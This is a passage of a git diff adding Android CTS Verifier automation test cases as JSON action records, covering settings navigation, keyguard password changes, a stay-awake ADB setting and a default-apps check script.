+{"uuid":"91b86fe0-4aca-4858-9bc1-ed4be34940fa","details":"{\"type\":\"CompoundAction\",\"name\":\"Click \\\"Open Settings\\\" button\",\"actionId\":\"91b86fe0-4aca-4858-9bc1-ed4be34940fa\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Open Settings\",\"actionId\":\"a2933edb-d5a3-4ed0-87b6-e7fd8414012c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Open Settings\"}],\"childrenIdList\":[\"a2933edb-d5a3-4ed0-87b6-e7fd8414012c\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Click \"Open Settings\" button","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.170000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/935be38e-341a-455b-a52d-709e620f3641 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/935be38e-341a-455b-a52d-709e620f3641
new file mode 100644
index 0000000..e054c14
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/935be38e-341a-455b-a52d-709e620f3641
@@ -0,0 +1 @@
+{"uuid":"935be38e-341a-455b-a52d-709e620f3641","details":"{\"type\":\"CompoundAction\",\"name\":\"test-Keyguard Password Verification\",\"actionId\":\"935be38e-341a-455b-a52d-709e620f3641\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Keyguard Password Verification\",\"actionId\":\"97c40e2e-07d3-4764-b014-bffb80eadc56\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Keyguard Password Verification\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"23e1f551-ef56-4fb7-a542-bbbb6baeaebd\",\"displayText\":\"Keyguard Password Verification\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Keyguard Password Verification\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.666666666666666,\"y1\":455.3333333333333,\"x2\":351.3333333333333,\"y2\":497.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":114.5,\"y\":481.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":65.5,\"y\":-4.666666666666686,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"23e1f551-ef56-4fb7-a542-bbbb6baeaebd\",\"firstText\":\"Keyguard Password Verification\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Keyguard Password Verification\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":4.0,\"y1\":468.0,\"x2\":225.0,\"y2\":494.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Keyguard Password Verification\",\"actionId\":\"bc27a09d-a588-4399-a068-c5d1df241393\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Keyguard Password Verification\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set password button\",\"actionId\":\"3575c64a-8599-48b1-adca-775bf2c992cb\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/lock_set_btn\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Change password button\",\"actionId\":\"b1bb3dbe-afd2-4fbf-a5f0-e43db41b6bcd\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/lock_change_btn\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if lock screen appear\",\"actionId\":\"804bb5dc-95ea-4900-8ac5-32cee98977cf\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Re-enter your PIN\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Re-enter your password\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Confirm your pattern\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, change password\",\"actionId\":\"422753a2-bc8f-4815-8192-b1a39a086e5c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.android.cts.verifier:id/lock_change_btn\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, None\",\"actionId\":\"8863d0ec-1da8-4d2a-a6ec-04e029094b20\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"None\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, yes, remove button\",\"actionId\":\"9de52c9f-1443-4c57-9ce0-dadc002e0a3f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"android:id/button1\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"97c40e2e-07d3-4764-b014-bffb80eadc56\",\"bc27a09d-a588-4399-a068-c5d1df241393\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"3575c64a-8599-48b1-adca-775bf2c992cb\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"796b7e21-e7e7-4631-8bc3-72894b072e96\",\"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a\",\"2090e04a-10af-4fc3-8149-1f22a584eb67\",\"b1bb3dbe-afd2-4fbf-a5f0-e43db41b6bcd\",\"804bb5dc-95ea-4900-8ac5-32cee98977cf\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"796b7e21-e7e7-4631-8bc3-72894b072e96\",\"0bb19e90-9994-4d49-9188-fe2405a8dc37\",\"06f4ee63-7ae5-4c0a-b4e8-56fa7a21f33a\",\"422753a2-bc8f-4815-8192-b1a39a086e5c\",\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"bc9471bc-a314-40a4-952b-24a9d2db4974\",\"27b9a87d-9b7b-4f55-a259-45a91ee67a64\",\"8863d0ec-1da8-4d2a-a6ec-04e029094b20\",\"9de52c9f-1443-4c57-9ce0-dadc002e0a3f\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test-Keyguard Password Verification","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.251000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/96e13653-8ab0-44a3-9bed-ddd32181cd28 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/96e13653-8ab0-44a3-9bed-ddd32181cd28
new file mode 100644
index 0000000..459bac2
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/96e13653-8ab0-44a3-9bed-ddd32181cd28
@@ -0,0 +1 @@
+{"uuid":"96e13653-8ab0-44a3-9bed-ddd32181cd28","details":"{\"type\":\"CompoundAction\",\"name\":\"15-27-Set permitted accessibility services\",\"actionId\":\"96e13653-8ab0-44a3-9bed-ddd32181cd28\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"a67e968f-ab80-4c16-87c6-76e7c22da2b7\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-27-Set permitted accessibility services","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.161000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/96f52bf6-6606-42ab-8b3a-fd6c554ea30a b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/96f52bf6-6606-42ab-8b3a-fd6c554ea30a
new file mode 100644
index 0000000..c96b831
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/96f52bf6-6606-42ab-8b3a-fd6c554ea30a
@@ -0,0 +1 @@
+{"uuid":"96f52bf6-6606-42ab-8b3a-fd6c554ea30a","details":"{\"type\":\"CompoundAction\",\"name\":\"Turn Stay awake on\",\"actionId\":\"96f52bf6-6606-42ab-8b3a-fd6c554ea30a\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"CommandLineAction\",\"name\":\"Turn Stay awake on\",\"actionId\":\"58d19180-f71a-49a7-a58c-d6f0e143fb10\",\"actionType\":\"COMMAND_LINE_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"commandLine\":\"shell settings put global stay_on_while_plugged_in 7\",\"isAdbCommand\":true,\"expectedReturnCode\":\"0\",\"commandlineExecutionTimeoutSec\":5,\"needShellOutput\":false,\"uicdVariableName\":\"\"}],\"childrenIdList\":[\"58d19180-f71a-49a7-a58c-d6f0e143fb10\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Turn Stay awake on","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.276000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/97168770-8a71-4ad5-b1a3-6fad42f11159 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/97168770-8a71-4ad5-b1a3-6fad42f11159
new file mode 100644
index 0000000..66b46e8
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/97168770-8a71-4ad5-b1a3-6fad42f11159
@@ -0,0 +1 @@
+{"uuid":"97168770-8a71-4ad5-b1a3-6fad42f11159","details":"{\"type\":\"CompoundAction\",\"name\":\"16-09-Default apps\",\"actionId\":\"97168770-8a71-4ad5-b1a3-6fad42f11159\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Default apps\",\"actionId\":\"be60afb3-34f2-4750-b058-6c7208b38b9f\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Default apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"2405b8a1-ed53-4757-bd8b-7c64f12e5027\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Default apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":367.0,\"x2\":351.25,\"y2\":409.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":53.0,\"y\":388.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":127.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"2405b8a1-ed53-4757-bd8b-7c64f12e5027\",\"firstText\":\"Default apps\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Default apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":2.0,\"y1\":379.0,\"x2\":104.0,\"y2\":397.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Default apps\",\"actionId\":\"774601e9-9efc-4653-bc75-9ae6345afc25\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Default apps\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that your administrator set any default apps\",\"actionId\":\"b7bf508a-5f4e-406f-b51c-093e00d487a6\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Default apps\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1c0eed75-23fc-4f0f-9600-e91ef7d1bf54\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"fa2a88bb-468f-4b14-b39c-21224e1ece8b\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a63d10a7-18f9-441c-b071-737d416286c1\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Default apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":142.5,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-1.25,\"y\":1.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default apps\"},{\"uuid\":\"ea2449ed-2ee3-4a1d-ae98-e198b74bb4f6\",\"displayText\":\"6 apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"6 apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":100.0,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"6 apps\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default apps\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":104.0,\"y\":400.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":76.0,\"y\":9.75,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"a63d10a7-18f9-441c-b071-737d416286c1\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Default apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":54.0,\"y1\":386.0,\"x2\":154.0,\"y2\":414.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"82d0c265-8243-4109-90e3-e6cd7940fccc\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ClickAction\",\"name\":\"Click Action, Set Default Apps\",\"actionId\":\"9bb1e820-1185-49a8-8b5f-0fb6a2567a68\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Set Default Apps\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that your administrator has set 6 default apps\",\"actionId\":\"8b89daab-8bd9-4dc6-b416-3c3edb2d47e6\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Default apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"a8b2c97d-42f1-464d-b109-9de2faa749db\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"5f5d5e06-ad9b-4e61-bb3f-62a2dbbfdf25\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"9300abeb-84be-42c3-9842-c7580ecaca38\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Default apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":142.5,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.25,\"y\":4.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default apps\"},{\"uuid\":\"785d3334-1f4e-4b9f-9f06-210ea18c4745\",\"displayText\":\"6 apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"6 apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":100.0,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"6 apps\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default apps\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":103.0,\"y\":397.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":77.0,\"y\":12.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"9300abeb-84be-42c3-9842-c7580ecaca38\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Default apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":56.0,\"y1\":387.0,\"x2\":150.0,\"y2\":408.0}},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify has set 6 default apps\",\"actionId\":\"a18d792e-64d9-4ef1-9e05-12e7a5cea577\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"6 apps\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"49461b06-43dd-44d9-b618-7e2b5d8ab637\",\"displayText\":\"6 apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"d19fc45f-b27f-4f64-aaf8-19e84069f00e\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"01c77e55-0b3b-489e-bb49-0a1a50ac36c8\",\"displayText\":\"Default apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Default apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":142.5,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default apps\"},{\"uuid\":\"6f964019-80c9-4c2e-be60-e1d6f0cf09aa\",\"displayText\":\"6 apps\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"6 apps\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":100.0,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":3.0,\"y\":3.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"6 apps\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Default apps\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":78.5,\"y\":416.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":101.5,\"y\":-6.25,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"6f964019-80c9-4c2e-be60-e1d6f0cf09aa\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"6 apps\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":48.0,\"y1\":403.0,\"x2\":109.0,\"y2\":429.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Default apps\",\"actionId\":\"a035ab93-8613-4ff4-b9b2-d1d4df91ed0b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Default apps\"},{\"type\":\"PythonScriptAction\",\"name\":\"Verify with 6 elements in it and each elements shows the CTS Verifier is the default app\",\"actionId\":\"3108cfb8-b7ad-440c-9ef5-5cdd8dc72064\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.uicd_python_util import UICDPythonUtil\\n \\nuicd_util = UICDPythonUtil()\\nd= Device.create_device_by_slot(0)\\n\\nresult_1 = d.text(\\\"Calendar app\\\").down().text(\\\"CTS Verifier\\\").verify_exist()\\nresult_2 = d.text(\\\"Camera app\\\").down().text(\\\"CTS Verifier\\\").verify_exist()\\nresult_3 = d.text(\\\"Contacts app\\\").down().text(\\\"CTS Verifier\\\").verify_exist()\\nresult_4 = d.text(\\\"Email client app\\\").down().text(\\\"CTS Verifier\\\").verify_exist()\\nresult_5 = d.text(\\\"Map app\\\").down().text(\\\"CTS Verifier\\\").verify_exist()\\nresult_6 = d.text(\\\"Phone app\\\").down().text(\\\"CTS Verifier\\\").verify_exist()\\nuicd_util.assert_true(result_1, \\\"Element not found\\\")\\nuicd_util.assert_true(result_2, \\\"Element not found\\\")\\nuicd_util.assert_true(result_3, \\\"Element not found\\\")\\nuicd_util.assert_true(result_4, \\\"Element not found\\\")\\nuicd_util.assert_true(result_5, \\\"Element not found\\\")\\nuicd_util.assert_true(result_6, \\\"Element not found\\\")\\n\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"748699ae-b36c-491f-949d-238c82971cc3\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back 